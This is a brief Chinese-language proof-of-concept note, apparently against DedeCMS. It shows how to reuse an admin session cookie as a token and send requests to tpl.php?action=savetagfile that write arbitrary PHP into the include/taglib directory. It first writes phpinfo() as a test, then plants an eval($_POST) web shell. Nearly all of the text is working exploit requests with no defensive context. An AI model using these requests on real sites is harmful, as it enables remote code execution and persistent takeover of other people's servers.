http://ip:xx7端口

先登录后台

再访问http://xxxxxxxx:xx7/dede/tpl.php?action=upload

使用插件EditThisCookie2

看一下cookie，这里的cookie就是token

POC1

http://xxxxxxxx:xx7/dede/tpl.php?action=savetagfile&token=2oas45oamvhr57b2pbcl6pkvg0&filename=abc.lib.php&content=<?php phpinfo();?>

成功写入

根据代码可以看到写入到taglib目录,浏览器访问http://xxxxxxxx:xx7/include/taglib/abc.lib.php

http://xxxxxxxx:xx7/dede/tpl.php?action=savetagfile&token=2oas45oamvhr57b2pbcl6pkvg0&filename=aaa.lib.php&content=<?php eval($_POST["aaa"]);?>

-.-